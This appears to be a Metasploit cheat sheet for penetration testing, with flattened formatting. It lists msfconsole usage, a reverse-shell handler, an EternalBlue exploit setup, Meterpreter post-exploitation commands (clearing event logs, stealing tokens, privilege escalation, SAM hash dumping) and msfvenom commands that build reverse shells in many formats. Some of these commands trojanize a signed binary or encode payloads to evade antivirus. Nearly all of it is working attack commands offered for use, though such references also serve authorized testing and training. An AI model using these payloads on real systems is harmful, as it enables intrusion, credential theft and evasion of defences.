#Getting Started
Basic
msfconsoleQuiet Start (No Banner)
msfconsole -qstart with a resouce script
msfconsole -r file.rcsearch <term> # Search for a module
use <module_path> # Use a module
info # Show module info
show options / show payloads # Show module config
set <OPTION> <VALUE> # Set module option
setg <OPTION> <VALUE> # Set global option
unsetg <OPTION> # Unset global option
run / exploit # Execute module
exploit -j -z # Run in bg w/o session
check # Test if target is vulnerable
creds # List all credentials in the databaseList all sessions
sessions -lConnect to a session
sessions <id>Kill a session
sessions -k <id>List all running jobs
jobs -lKill Specified Job
jobs -k <id>| Type | Purpose |
|---|---|
| exploit | Launch attack |
| payload | Code delivered to target |
| auxiliary | Scanners, fuzzers, etc |
| post | Post-exploit modules |
| encoder | Obfuscate payloads |
| evasion | AV bypass tools |
| nop | Payload padding |
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <local_ip>
set LPORT <port>
run -j # -j backgrounds the handleruse exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_https
set rhost <target_IP>
#if required
set rport <target_port>
exploit| Command | Description |
|---|---|
check | check to see if a target is vulnerable |
rcheck | reloads the module and checks if the target is vulnerable |
rerun | Alias for rexploit |
exploit | Launch an exploit attempt |
run | Alias for exploit |
check allows ranges to be noted instead of setting an rhost
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255#Meterpreter
Get System Info
sysinfoGet user context
getuidGet Process List
psMigrate to new Process
migrate <pid>Open a system shell (i.e bash/cmd.exe)
shellExit the session
exitBackground the session
background
# Or
bgGet Current Target Working Directory
pwd
cd # Change DirectoryGet Current Local Working Directory
lpwd
lcd # Change DirectoryList Files
lsTransfer Files
# Target to Local
Download <file>
# Local to Target
Upload <file>View Contents of File
cat <file>Edit Contents of File In-Line
edit <file>Get the PID Meterpreter is running as
getpidRun a program "hidden"
execute -f <exe> -HClear all Application/System/Security Event Logs
# Requires NT/System. Not OPSEC Safe
clearenvShutdown or Reboot Target
reboot
shutdownList All Routes
routeAdd Remove A Route
route [add/remove] <subnet> <netmask>Delete all routes
route flushTake a Screenshot of the desktop
screenshotCreeper Mode: Watch the desktop
screenshareSteal Impersonation Token
steal_tokenRelease active impersonation tokens
drop_tokenAttempt to Privlege Escalation
getprivsAttempt to Automate Privlege Escalation using Exploits
getsystemAttempt to Dump SAM Database
hashdump#MSFVenom
| Option | Description |
|---|---|
-p | Payload |
-f | Format (exe, elf, raw) |
-o | Output file |
-a | Architecture (x86, x64) |
--platform | Platform (windows, linux) |
-b | Bad chars (\x00\x0a) |
-e | Encoder |
-i | Encoding iterations |
-x | Template file (exe) |
-s | Max size |
--help-formats | List all formats |
Basic form to create an EXE
msfvenom -p <payload> LHOST=<listening ip> LPORT=<port> -f exe -o shell.exeExample
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf > bind.elfTo get Raw Shellcode for Shellcode Runners
msfvenom -p<payload> LHOST=<listening ip> LPORT=<port> -f cStandard Reverse Shell EXE on x64 arch
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exeStageless Meterpreter Reverse (LARGE FILE)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exeEmbed Meterpreter into an Existing Signed Binary
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -x signed.exe -k -f exe -o evil_signed.exeReverse shell ELF (x86)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf > shell.elfReverse Shell Bash script (payload as command)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.1 LPORT=9001 -f rawPHP reverse shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f raw -o shell.phpASP reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f asp > shell.aspPython Rev Shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f raw > shell.pyPowershell Rev Shell
msfvenom -p windows/powershell_reverse_tcp LHOST=10.10.14.1 LPORT=9001 -f psh-cmdEncoding with shikata_ga_nai (3 iterations)
# \ is a line escape in bash allows for continual entry after new line
#NOTE: Does not work on Win 11
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.1 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 -f exe -o enc_shell.exeAvoiding Bad Characters
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.10.14.1 LPORT=4444 \
-b '\x00\x0a\x0d' -f exe -o no_badchars.exePad The Payload with NOPS
# -n is nops the number denotes how many nops you want
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.10.14.1 LPORT=4444 \
-n 16 -f exe > nop_shell.exe